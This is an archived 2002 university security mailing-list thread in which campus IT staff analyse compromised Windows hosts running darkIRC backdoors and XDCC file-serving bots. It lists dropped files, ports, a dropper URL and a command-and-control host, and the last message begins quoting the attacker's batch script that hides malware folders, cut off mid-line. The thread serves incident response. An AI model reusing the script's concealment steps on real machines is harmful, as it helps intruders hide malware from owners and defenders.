From chris.cramer@duke.edu Thu May 2 23:42:01 2002 Date: Mon, 18 Feb 2002 18:11:34 -0500 (EST) Subject: [unisog] hacked university machines From: Christopher E. Cramer To: unisog@sans.org I received information that there are some hacked university machines being used to distribute movies, games, software, etc in an IRC channel called #DiVX-DCC on the Undernet IRC network. I've poked at the Duke machines and they seem to have the IRC software installed in \winnt\system32\sysfiles The common thread on the Duke machines appears to be that they all had no Administrator password set. This is probably something that y'all should look into on your campuses. Regards, Chris -- Christopher E. Cramer, Ph.D. Information Technology Security Officer Duke University, Office of Information Technology 253A North Building, Box 90132, Durham, NC 27708-0291 PH: 919-660-7003 FAX: 919-660-7076 email: chris.cramer@duke.edu From glratt@io.com Thu May 2 23:42:01 2002 Date: Mon, 18 Feb 2002 17:50:57 -0600 (CST) Subject: Re: [unisog] hacked university machines From: Glenn Forbes Fleming Larratt To: unisog@sans.org On Mon, 18 Feb 2002, Christopher E. Cramer wrote: > > I received information that there are some hacked university machines > being used to distribute movies, games, software, etc in an IRC channel > called #DiVX-DCC on the Undernet IRC network. Please clarify - is the IRC channel itself the medium of exchange, or is the IRC channel discussing some other medium (ftp sites, compromised webservers, alternate ports, ???) > I've poked at the Duke machines and they seem to have the IRC software > installed in \winnt\system32\sysfiles > -- Glenn Forbes Fleming Larratt The Lab Ratt (not briggs :-) glratt@io.com http://www.io.com/~glratt There are imaginary bugs to chase in heaven. From chris.cramer@duke.edu Thu May 2 23:42:01 2002 Date: Mon, 18 Feb 2002 21:10:05 -0500 (EST) Subject: Re: [unisog] hacked university machines From: Christopher E. Cramer To: Glenn Forbes Fleming Larratt Cc: unisog@sans.org > On Mon, 18 Feb 2002, Christopher E. Cramer wrote: > > > > > I received information that there are some hacked university machines > > being used to distribute movies, games, software, etc in an IRC channel > > called #DiVX-DCC on the Undernet IRC network. > > Please clarify - is the IRC channel itself the medium of exchange, > or is the IRC channel discussing some other medium (ftp sites, > compromised webservers, alternate ports, ???) > Glenn, Sorry, it's been a long weekend and Monday. The IRC channel is the medium using the DCC mechanism. The hacked machines are running a script which automatically logs them into the channel where they receive instructions and can up/download files. Users of the IRC channel issue commands to the zombie machines in the form of: /msg xdcc list /msg xdcc send etc. The zombies periodically advertise their files for the channel participants. I have some reason to believe that other backdoors are installed on some of the machines, so it may not be safe to simply try to clean up the boxes w/o reinstalling the OS. Let me know if you have any other questions. Thanks -Chris From Ken.Connelly@uni.edu Thu May 2 23:42:01 2002 Date: Tue, 19 Feb 2002 05:50:29 -0600 Subject: Re: [unisog] hacked university machines From: Ken Connelly To: unisog@sans.org "Christopher E. Cramer" wrote: > > On Mon, 18 Feb 2002, Christopher E. Cramer wrote: > > > > > > > > I received information that there are some hacked university machines > > > being used to distribute movies, games, software, etc in an IRC channel > > > called #DiVX-DCC on the Undernet IRC network. > > > > Please clarify - is the IRC channel itself the medium of exchange, > > or is the IRC channel discussing some other medium (ftp sites, > > compromised webservers, alternate ports, ???) > > > > Glenn, > > Sorry, it's been a long weekend and Monday. The IRC channel is the medium > using the DCC mechanism. The hacked machines are running a script which > automatically logs them into the channel where they receive instructions > and can up/download files. Users of the IRC channel issue commands to the > zombie machines in the form of: > > /msg xdcc list > /msg xdcc send > etc. > > The zombies periodically advertise their files for the channel > participants. > > I have some reason to believe that other backdoors are installed on some > of the machines, so it may not be safe to simply try to clean up the boxes > w/o reinstalling the OS. > > Let me know if you have any other questions. > > Thanks > -Chris Interesting. We currently have a student's ResNet machine in the "timeout" VLAN that was offering things just this way. If he's cooperative, we may have a chance to see what has been done to his machine. -- - Ken =========================================================================== Ken Connelly (KC152) Systems and Operations Manager, ITS - Network Services University of Northern Iowa Cedar Falls, IA 50614-0121 email: Ken.Connelly@uni.edu phone: (319) 273-5850 fax: (319) 273-7373 From tal1@its.nyu.edu Thu May 2 23:42:01 2002 Date: Thu, 21 Mar 2002 15:38:45 -0500 Subject: [unisog] Coordinated Scan From: Tracey Losco To: unisog@sans.org Good afternoon, This morning between 7:55am and 8:55am, we were attacked on multiple subnets by multiple machines originating from various .edu sites. We are in the process of contacting the various sites now to inform them of their compromised machines. Has anyone else experienced anything similar to this, this morning? The ports that were being scanned were port 1025. This could be just a typical coordinated scan by the same individual controlling compromised hosts on various networks, but I wanted to check here and see if this is more widespread, or if anyone else has seen this type of scanning today or recently. Thanks in advance for any help that you can provide. Regards, -- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security@nyu.edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 From morrow.long@yale.edu Thu May 2 23:42:01 2002 Date: Thu, 21 Mar 2002 16:53:49 -0500 Subject: Re: [unisog] Coordinated Scan From: H. Morrow Long To: Tracey Losco Cc: unisog@sans.org We saw four wide scans of our IP address space yesterday but it was almost all scans for vuln DTSPC (port 6112). The four big scans were: A Swedish broadband ISP customer (scanning from TCP port 13,000 to 13,000 - we've found hacked SSH servers running at port 13,000). A corporate mail server scanning us for DTSPC. A corporate web server scanning us for DTSPC. A .EDU resnet PC scanning us for DTSPC first and attempting telnet vulnerability attacks later. Some were simultaneous and some were overlapping but I'm not certain that they were coordinated. Looks like a new tool and or working exploit code was released to general availability recently by the upsurge in activity - or a new worm? - Morrow Tracey Losco wrote: > > Good afternoon, > > This morning between 7:55am and 8:55am, we were attacked on multiple > subnets by multiple machines originating from various .edu sites. We > are in the process of contacting the various sites now to inform them > of their compromised machines. > > Has anyone else experienced anything similar to this, this morning? > The ports that were being scanned were port 1025. This could be just > a typical coordinated scan by the same individual controlling > compromised hosts on various networks, but I wanted to check here and > see if this is more widespread, or if anyone else has seen this type > of scanning today or recently. > > Thanks in advance for any help that you can provide. > > Regards, > > -- > -------------------------------------------------------------------- > Tracey Losco > Network Security Analyst security@nyu.edu > ITS - Network Services http://www.nyu.edu/its/security > New York University (212) 998 - 3433 > > PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 [ Part 2, "S/MIME Cryptographic Signature" ] [ Application/X-PKCS7-SIGNATURE 5.8KB. ] [ Unable to print this part. ] From andy@umbc.edu Thu May 2 23:42:01 2002 Date: Thu, 21 Mar 2002 17:04:00 -0500 Subject: Re: [unisog] Coordinated Scan From: Anderson Johnston To: Tracey Losco Cc: unisog@sans.org We've seen these before (though not this morning). It's often hard to tell a coordinated scan from a single scanner rotating a spoofed IP address (unless you know that at least one of the IPs is lives in an egress filter policy that would stop at least one of the other IPs). On Thu, 21 Mar 2002, Tracey Losco wrote: > Good afternoon, > > This morning between 7:55am and 8:55am, we were attacked on multiple > subnets by multiple machines originating from various .edu sites. We > are in the process of contacting the various sites now to inform them > of their compromised machines. > > Has anyone else experienced anything similar to this, this morning? > The ports that were being scanned were port 1025. This could be just > a typical coordinated scan by the same individual controlling > compromised hosts on various networks, but I wanted to check here and > see if this is more widespread, or if anyone else has seen this type > of scanning today or recently. > > Thanks in advance for any help that you can provide. > > Regards, > > -- > -------------------------------------------------------------------- > Tracey Losco > Network Security Analyst security@nyu.edu > ITS - Network Services http://www.nyu.edu/its/security > New York University (212) 998 - 3433 > > PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 > ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------ From tal1@its.nyu.edu Thu May 2 23:42:01 2002 Date: Thu, 21 Mar 2002 22:07:37 -0500 Subject: Re: [unisog] Coordinated Scan From: Tracey Losco To: Anderson Johnston Cc: unisog@sans.org Hey there, Anderson, Unfortunately, we've been able to confirm the coordination...I've already gotten responses back from the administrators with confirmation that their machines were compromised. :-( I tend to agree with Morrow on the possibility that some new type of exploit could have been released...but the scanning on port 1025 and the coordination "rings a bell" with me but I can't remember the details or specifics of the incident... Must be that I'm getting old and losing my memory...8-\ Thanks for the input. Regards, Tracey At 5:04 PM -0500 3/21/2002, Anderson Johnston wrote: >We've seen these before (though not this morning). It's often hard to >tell a coordinated scan from a single scanner rotating a spoofed IP >address (unless you know that at least one of the IPs is lives in an >egress filter policy that would stop at least one of the other IPs). > -- -------------------------------------------------------------------- Tracey Losco Network Security Analyst security@nyu.edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 From smrogers@socrates.Berkeley.EDU Thu May 2 23:42:01 2002 Date: Fri, 22 Mar 2002 09:15:09 -0800 (PST) Subject: [unisog] Re: Coordinated Scan From: Sherry M. Rogers To: unisog@sans.org We were one of the campuses with hosts involved in the scan Tracey described. Our network people blocked a couple of hosts because of what looked like ddos activity and we were able to correlate this with odd packets being flagged by our NIDS (bro) as excessive length ntp/port 123 traffic. We identified 13 Windows hosts altogether. When scanned with nmap there were two interesting ports open - a port 99 which disappeared on subsequent scans, and port 8888. Connecting to port 8888 revealed that it was running a program written by "darkIRC". One of the departments involved sent us the following analysis. If anyone else sees this exploit, we would really like to get more information. Also if you have knowledge of this darkIRC cohort - which is new to us. BTW, running a "darkIRC" virus scan on the box doesn't find the files. Analysis: >Attached are all of the files I could find that I believe were put there >by the hacker. Below you will find both dates and times when the files >where copied to the computer as well as a description of what each file >seems to do. > >File creations- >File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002 9:51 >File: DDL32.exe Created on computer: 3/14/2002 8:12am >File: VMN32.exe Created on computer: 3/14/2002 8:13am >File: RUDL32.exe Created on computer: 3/14/2002 8:13am >File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am > >File's Action (Significance) >File: INDEX.dat >Taken from the web cache and seems to show dll32nos.exe being downloaded >from http://home.earthlink.net/~robertberry/dll32nos.exe > >File: DDL32.exe >Extracts (but does not launch) mirc file (and associates) named as >temp.exe. One of the files temp2.exe (which is a hidden file) seems to >be used to hide the launching of temp.exe Temp.exe listens on port 9088 > >File: VMN32.exe >Extract Serve-U FTP server. The FTP server file is named lsass.exe (also >the name of Microsofts Local Security Authority SubSystem file which is >always running on WinNT-XP boxes and therefore might go unnoticed) and >listens on port 43958. > >File: RUDL32.exe >Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or >two randomly selected characters). This tmp file is the darkirc client. > >File: DLL32NOS.exe >Identical to DDL32.exe except that after extracting all of the files it >launches the file temp.exe > >This afternoon the computer will be formatted and rebuilt so that it can >be returned to the owner. If you have any thing for me to check on let me >know quickly. ------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 ------------------------------------------------------------------------- From miyake@darkwing.uoregon.edu Thu May 2 23:42:01 2002 Date: Fri, 22 Mar 2002 10:10:02 -0800 (PST) Subject: Re: [unisog] Re: Coordinated Scan From: Jon Karl Miyake To: Sherry M. Rogers Cc: unisog@sans.org The "darkirc" intrusions that we encountered also had the following files also installed. (i copied the files over to a linux system to prod at them. as such the slash are leaning the wrong way for a windows system. The directory structure is based off of the root of the c: drive.) :) Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/rudl32.exe Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe77.tmp Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe7A.tmp WINNT/system32/2XVLL.OCX WINNT/system32/32DLL.OCX WINNT/system32/32DLLXP.OCX WINNT/system32/16dll.ini WINNT/system32/ddl32.exe WINNT/system32/rundl32.exe WINNT/system32/vmn32.exe WINNT/system32/TEMP.EXE WINNT/system32/TEMP2.EXE WINNT/system32/GATES.TXT WINNT/system32/FSEARCH.INI WINNT/system32/OCXU.INI WINNT/system32/mirc.ini WINNT/system32/TEMP.SCR WINNT/system32/vmn32/32DLLEMU.TXT WINNT/system32/vmn32/BARM8.GIF WINNT/system32/vmn32/FIREDAEM.EXE WINNT/system32/vmn32/INETSERV.EXE WINNT/system32/vmn32/KILL.EXE WINNT/system32/vmn32/LSASS.EXE WINNT/system32/vmn32/PULIST.EXE WINNT/system32/vmn32/SERVICES.EXE WINNT/system32/vmn32/TAR.EXE WINNT/system32/vmn32/ASP/CYGWIN1.DLL WINNT/system32/vmn32/ASP/IR.CON WINNT/system32/vmn32/ASP/SVHOST.EXE WINNT/system32/vmn32/ASP/TAR.EXE WINNT/system32/vmn32/ASPC/CYGWIN1.DLL WINNT/system32/vmn32/ASPC/IR.CON WINNT/system32/vmn32/ASPC/SVHOST.EXE URL's that I came across that are writeups about similiar packages based off of Mirc. http://www.safersite.com/PestInfo/I/ICQPageBomb.asp http://cert.uni-stuttgart.de/archive/incidents/2000/11/msg00027.html http://bots.lockdowncorp.com/gtbot.html It also seems after doing a brief look at at some of the scripts that the compromised host talks with . . . noreics.scieron.com (217.10.143.237) aka. flyboy7.ukshells.co.uk The "noreics.scieron.com" string was referenced in the following script/config files. /WINNT/system32/32DLLXP.OCX /WINNT/system32/16dll.ini /WINNT/system32/OCXU.INI Jon Miyake voice #: (541) 346-1635 Computing Center Room 225 University of Oregon On Fri, 22 Mar 2002, Sherry M. Rogers wrote: > > We were one of the campuses with hosts involved in the scan Tracey > described. Our network people blocked a couple of hosts because of what > looked like ddos activity and we were able to correlate this with odd > packets being flagged by our NIDS (bro) as excessive length ntp/port 123 > traffic. > > We identified 13 Windows hosts altogether. When scanned with nmap there > were two interesting ports open - a port 99 which disappeared on > subsequent scans, and port 8888. Connecting to port 8888 revealed that it > was running a program written by "darkIRC". > > One of the departments involved sent us the following analysis. If > anyone else sees this exploit, we would really like to get more > information. Also if you have knowledge of this darkIRC cohort - which > is new to us. BTW, running a "darkIRC" virus scan on the box doesn't > find the files. > > > Analysis: > > >Attached are all of the files I could find that I believe were put there > >by the hacker. Below you will find both dates and times when the files > >where copied to the computer as well as a description of what each file > >seems to do. > > > >File creations- > >File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002 9:51 > >File: DDL32.exe Created on computer: 3/14/2002 8:12am > >File: VMN32.exe Created on computer: 3/14/2002 8:13am > >File: RUDL32.exe Created on computer: 3/14/2002 8:13am > >File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am > > > >File's Action (Significance) > >File: INDEX.dat > >Taken from the web cache and seems to show dll32nos.exe being downloaded > >from http://home.earthlink.net/~robertberry/dll32nos.exe > > > >File: DDL32.exe > >Extracts (but does not launch) mirc file (and associates) named as > >temp.exe. One of the files temp2.exe (which is a hidden file) seems to > >be used to hide the launching of temp.exe Temp.exe listens on port 9088 > > > >File: VMN32.exe > >Extract Serve-U FTP server. The FTP server file is named lsass.exe (also > >the name of Microsofts Local Security Authority SubSystem file which is > >always running on WinNT-XP boxes and therefore might go unnoticed) and > >listens on port 43958. > > > >File: RUDL32.exe > >Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or > >two randomly selected characters). This tmp file is the darkirc client. > > > >File: DLL32NOS.exe > >Identical to DDL32.exe except that after extracting all of the files it > >launches the file temp.exe > > > >This afternoon the computer will be formatted and rebuilt so that it can > >be returned to the owner. If you have any thing for me to check on let me > >know quickly. > > > ------------------------------------------------------------------------- > Sherry M. Rogers University of California, Berkeley > System & Network Security phone (510)642-7157 > ------------------------------------------------------------------------- > > > > > From mnx@utk.edu Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 13:22:15 -0500 Subject: RE: [unisog] Re: Coordinated Scan From: mnx To: Sherry M. Rogers , unisog We had 20-25 hosts affected here...still running them down and still gathering information...temp.exe, temp2.exe, and temp.scr found in c:\winnt\system32...reg entry for temp.exe on some of the hosts more later, Mark Newman University of Tennessee >===== Original Message From "Sherry M. Rogers" ===== >We were one of the campuses with hosts involved in the scan Tracey >described. Our network people blocked a couple of hosts because of what >looked like ddos activity and we were able to correlate this with odd >packets being flagged by our NIDS (bro) as excessive length ntp/port 123 >traffic. > >We identified 13 Windows hosts altogether. When scanned with nmap there >were two interesting ports open - a port 99 which disappeared on >subsequent scans, and port 8888. Connecting to port 8888 revealed that it >was running a program written by "darkIRC". > >One of the departments involved sent us the following analysis. If >anyone else sees this exploit, we would really like to get more >information. Also if you have knowledge of this darkIRC cohort - which >is new to us. BTW, running a "darkIRC" virus scan on the box doesn't >find the files. > > >Analysis: > >>Attached are all of the files I could find that I believe were put there >>by the hacker. Below you will find both dates and times when the files >>where copied to the computer as well as a description of what each file >>seems to do. >> >>File creations- >>File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002 9:51 >>File: DDL32.exe Created on computer: 3/14/2002 8:12am >>File: VMN32.exe Created on computer: 3/14/2002 8:13am >>File: RUDL32.exe Created on computer: 3/14/2002 8:13am >>File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am >> >>File's Action (Significance) >>File: INDEX.dat >>Taken from the web cache and seems to show dll32nos.exe being downloaded >>from http://home.earthlink.net/~robertberry/dll32nos.exe >> >>File: DDL32.exe >>Extracts (but does not launch) mirc file (and associates) named as >>temp.exe. One of the files temp2.exe (which is a hidden file) seems to >>be used to hide the launching of temp.exe Temp.exe listens on port 9088 >> >>File: VMN32.exe >>Extract Serve-U FTP server. The FTP server file is named lsass.exe (also >>the name of Microsofts Local Security Authority SubSystem file which is >>always running on WinNT-XP boxes and therefore might go unnoticed) and >>listens on port 43958. >> >>File: RUDL32.exe >>Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or >>two randomly selected characters). This tmp file is the darkirc client. >> >>File: DLL32NOS.exe >>Identical to DDL32.exe except that after extracting all of the files it >>launches the file temp.exe >> >>This afternoon the computer will be formatted and rebuilt so that it can >>be returned to the owner. If you have any thing for me to check on let me >>know quickly. > > >------------------------------------------------------------------------- >Sherry M. Rogers University of California, Berkeley >System & Network Security phone (510)642-7157 >------------------------------------------------------------------------- From edz@uic.edu Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 12:53:13 -0600 Subject: Re: [unisog] Re: Coordinated Scan From: Ed Zawacki To: unisog@sans.org We have also had several machines on campus hit with this. We're still trying to determine the method of infection and would love details. Ed Zawacki At 09:15 AM 3/22/2002 -0800, Sherry M. Rogers wrote: >We were one of the campuses with hosts involved in the scan Tracey >described. Our network people blocked a couple of hosts because of what >looked like ddos activity and we were able to correlate this with odd >packets being flagged by our NIDS (bro) as excessive length ntp/port 123 >traffic. > >We identified 13 Windows hosts altogether. When scanned with nmap there >were two interesting ports open - a port 99 which disappeared on >subsequent scans, and port 8888. Connecting to port 8888 revealed that it >was running a program written by "darkIRC". > >One of the departments involved sent us the following analysis. If >anyone else sees this exploit, we would really like to get more >information. Also if you have knowledge of this darkIRC cohort - which >is new to us. BTW, running a "darkIRC" virus scan on the box doesn't >find the files. > > >Analysis: > > >Attached are all of the files I could find that I believe were put there > >by the hacker. Below you will find both dates and times when the files > >where copied to the computer as well as a description of what each file > >seems to do. > > > >File creations- > >File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002 > 9:51 > >File: DDL32.exe Created on computer: 3/14/2002 8:12am > >File: VMN32.exe Created on computer: 3/14/2002 8:13am > >File: RUDL32.exe Created on computer: 3/14/2002 8:13am > >File: DLL32NOS.exe Created on computer: 3/14/2002 9:51am > > > >File's Action (Significance) > >File: INDEX.dat > >Taken from the web cache and seems to show dll32nos.exe being downloaded > >from http://home.earthlink.net/~robertberry/dll32nos.exe > > > >File: DDL32.exe > >Extracts (but does not launch) mirc file (and associates) named as > >temp.exe. One of the files temp2.exe (which is a hidden file) seems to > >be used to hide the launching of temp.exe Temp.exe listens on port 9088 > > > >File: VMN32.exe > >Extract Serve-U FTP server. The FTP server file is named lsass.exe (also > >the name of Microsofts Local Security Authority SubSystem file which is > >always running on WinNT-XP boxes and therefore might go unnoticed) and > >listens on port 43958. > > > >File: RUDL32.exe > >Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or > >two randomly selected characters). This tmp file is the darkirc client. > > > >File: DLL32NOS.exe > >Identical to DDL32.exe except that after extracting all of the files it > >launches the file temp.exe > > > >This afternoon the computer will be formatted and rebuilt so that it can > >be returned to the owner. If you have any thing for me to check on let me > >know quickly. > > >------------------------------------------------------------------------- >Sherry M. Rogers University of California, Berkeley >System & Network Security phone (510)642-7157 >------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------- Edward Zawacki University of Illinois at Chicago Security Officer (312) 996-0658 ACCC From andy@umbc.edu Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 15:30:57 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Sherry M. Rogers Cc: unisog@sans.org On Fri, 22 Mar 2002, Sherry M. Rogers wrote: > > We were one of the campuses with hosts involved in the scan Tracey > described. Our network people blocked a couple of hosts because of what > looked like ddos activity and we were able to correlate this with odd > packets being flagged by our NIDS (bro) as excessive length ntp/port 123 > traffic. > > We identified 13 Windows hosts altogether. When scanned with nmap there > were two interesting ports open - a port 99 which disappeared on > subsequent scans, and port 8888. Connecting to port 8888 revealed that it > was running a program written by "darkIRC". > 8888/tcp or 8888/udp? - andy ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------ From smrogers@socrates.Berkeley.EDU Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 13:19:15 -0800 (PST) Subject: Re: [unisog] Re: Coordinated Scan From: Sherry M. Rogers To: Anderson Johnston Cc: unisog@sans.org On Fri, 22 Mar 2002, Anderson Johnston wrote: > 8888/tcp or 8888/udp? 8888/tcp and a 99/tcp which the primary person here working on this thinks may be Hidden_port.zip, which is known to run on port 99/tcp - since it disappeared from the later nmap scans. ------------------------------------------------------------------------- Sherry M. Rogers University of California, Berkeley System & Network Security phone (510)642-7157 ------------------------------------------------------------------------- From andy@umbc.edu Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 17:53:54 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Sherry M. Rogers Cc: unisog@sans.org On Fri, 22 Mar 2002, Sherry M. Rogers wrote: > On Fri, 22 Mar 2002, Anderson Johnston wrote: > > > 8888/tcp or 8888/udp? > > 8888/tcp and a 99/tcp which the primary person here working on this > thinks may be Hidden_port.zip, which is known to run on port 99/tcp - > since it disappeared from the later nmap scans. > > ------------------------------------------------------------------------- > Sherry M. Rogers University of California, Berkeley > System & Network Security phone (510)642-7157 > ------------------------------------------------------------------------- > > Thanks, I'll run a scan this evening. I'll post if anything comes up. - andy ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------ From flynngn@jmu.edu Thu May 2 23:42:02 2002 Date: Fri, 22 Mar 2002 21:08:46 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Gary Flynn To: unisog@sans.org "Sherry M. Rogers" wrote: > > We identified 13 Windows hosts altogether. When scanned with nmap there > were two interesting ports open - a port 99 which disappeared on > subsequent scans, and port 8888. Connecting to port 8888 revealed that it > was running a program written by "darkIRC". Quick scan of campus got a hit here on one student Windows box with 8888-darkIRC. Is this the same beast as what is described here: http://www.tlsecurity.net/cgi-bin/readme.pl?DarkIrc.Readme.txt http://securityresponse.symantec.com/avcenter/venc/data/backdoor.darkirc.html -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe From edz@uic.edu Thu May 2 23:42:02 2002 Date: Mon, 25 Mar 2002 09:28:24 -0600 Subject: Re: [unisog] Re: Coordinated Scan From: Ed Zawacki To: unisog@sans.org At 03:30 PM 3/22/2002 -0500, Anderson Johnston wrote: >On Fri, 22 Mar 2002, Sherry M. Rogers wrote: > > > > > We were one of the campuses with hosts involved in the scan Tracey > > described. Our network people blocked a couple of hosts because of what > > looked like ddos activity and we were able to correlate this with odd > > packets being flagged by our NIDS (bro) as excessive length ntp/port 123 > > traffic. > > > > We identified 13 Windows hosts altogether. When scanned with nmap there > > were two interesting ports open - a port 99 which disappeared on > > subsequent scans, and port 8888. Connecting to port 8888 revealed that it > > was running a program written by "darkIRC". > > I just checked one of our infected systems. Port 99 is a command shell that closes after use. edz ------------------------------------------------------------------------------------------------------------------------------- Edward Zawacki University of Illinois at Chicago Security Officer (312) 996-0658 ACCC From andy@umbc.edu Thu May 2 23:42:02 2002 Date: Mon, 25 Mar 2002 13:14:42 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Sherry M. Rogers Cc: unisog@sans.org According to nmap, we've got about a dozen MS systems on campus with 8888/tcp open ( also a few Solaris systems, probably running Answerbook). None of them are in places I can reach before Wednesday (campus is closed till then). I'm watching for traffic to/from them in the meantime. - andy On Fri, 22 Mar 2002, Anderson Johnston wrote: > > Thanks, I'll run a scan this evening. I'll post if anything comes up. > > ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------ From flynngn@jmu.edu Thu May 2 23:42:02 2002 Date: Mon, 25 Mar 2002 14:23:28 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Gary Flynn To: unisog@sans.org Anderson Johnston wrote: > > According to nmap, we've got about a dozen MS systems on campus with > 8888/tcp open ( also a few Solaris systems, probably running Answerbook). I found several that were running web servers on that port but only one with DarkIRC. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe From andy@umbc.edu Thu May 2 23:42:02 2002 Date: Mon, 25 Mar 2002 17:49:17 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Gary Flynn Cc: unisog@sans.org Just to check, you connect to 8888/tcp and it responds with the DarkIRC tag? - andy On Mon, 25 Mar 2002, Gary Flynn wrote: > Anderson Johnston wrote: > > > > According to nmap, we've got about a dozen MS systems on campus with > > 8888/tcp open ( also a few Solaris systems, probably running Answerbook). > > I found several that were running web servers on that port but > only one with DarkIRC. > > -- > Gary Flynn > Security Engineer - Technical Services > James Madison University > > Please R.U.N.S.A.F.E. > http://www.jmu.edu/computing/runsafe > ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2000) 1024/F67035E1 ** ** Office of Information Technology, UMBC * 5D 44 1E 2E A6 7C 91 7A ** ** 410-455-2583 (v)/410-455-1065 (f) * C4 66 5F D5 BA B9 F6 58 ** ------------------------------------------------------------------------------ From allen@rescomp.berkeley.edu Thu May 2 23:42:02 2002 Date: Thu, 28 Mar 2002 13:55:04 -0800 (PST) Subject: [unisog] Re: Coordinated Scan From: Allen Chang To: unisog@sans.org Cc: security@rescomp.berkeley.edu Apologies if I break the thread... Here's my analysis of the compromised computers. First of all, this is not the Backdoor.darkIRC detected by antivirus programs. This backdoor is not detected by the latest NAV patterns. I'm guessing that these computer were compromised through the administrative share with no administrator password on Windows 2000. *A rouge lsass.exe (with a red u and a smaller green d icon) was installed as a service using firedaemon.exe (or firedaem.exe). You can check for it under Administrative Tools -> Services. The one on our hosts was called ms32dll *Several .tmp files and a rudl32.exe are dropped in the Startup folder but the .tmp files don't seem to run. *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC configurations(ir.con) seem to indicate that they are set up as XDCC file-serving bots. Judging from this, one should be able to remove the service with a "firedaemon -u ms32dll" This seems to close all the opened ports but I am unsure as to what other damage may have been done. On all the hosts, nmap found the following ports open: Port State Service 132/tcp open cisco-sys <--tlntsvr.exe (telnet) 135/tcp open loc-srv <--svchost.exe 139/tcp open netbios-ssn <--NetBIOS sharing (normal) 445/tcp open microsoft-ds <-Windows sharing (kind of normal) 1025/tcp open listen <--mstask.exe (normal) 8888/tcp open sun-answerbook <-- sxe5.tmp (backdoor client) Running Vision 1.0 (www.foundstone.com) on the compromised computers yielded these additional ports and programs bound to them: 1029/tcp <-- sxe5.tmp 1031/tcp <-- sxe5.tmp 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with the other lsass.exe from MS 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe According to vmn\ServUStartUpLog.txt (Not confirmed) 3112 <-- ftp Hidden? (Never seen by me) 99/tcp <-- Backdoor command shell? (**Files Found**) C:\Documents and Settings\All Users\Start Menu\Programs\Startup rudl32.exe sxe3.tmp sxe4.tmp sxe5.tmp Other files mentioned at http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html @llen Network Security Office of Residential Computing UC Berkeley From jeff01@email.unc.edu Thu May 2 23:42:02 2002 Date: Mon, 01 Apr 2002 09:48:28 -0500 Subject: Re: [unisog] Re: Coordinated Scan From: Jeff Bollinger To: Allen Chang Cc: unisog@sans.org, security@rescomp.berkeley.edu More on this attack. Here is the actual .bat file used by the attacker which gives some great clues: ---- @echo off c: cd c:\winnt\system32\vmn32 mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000 attrib +s +r +h 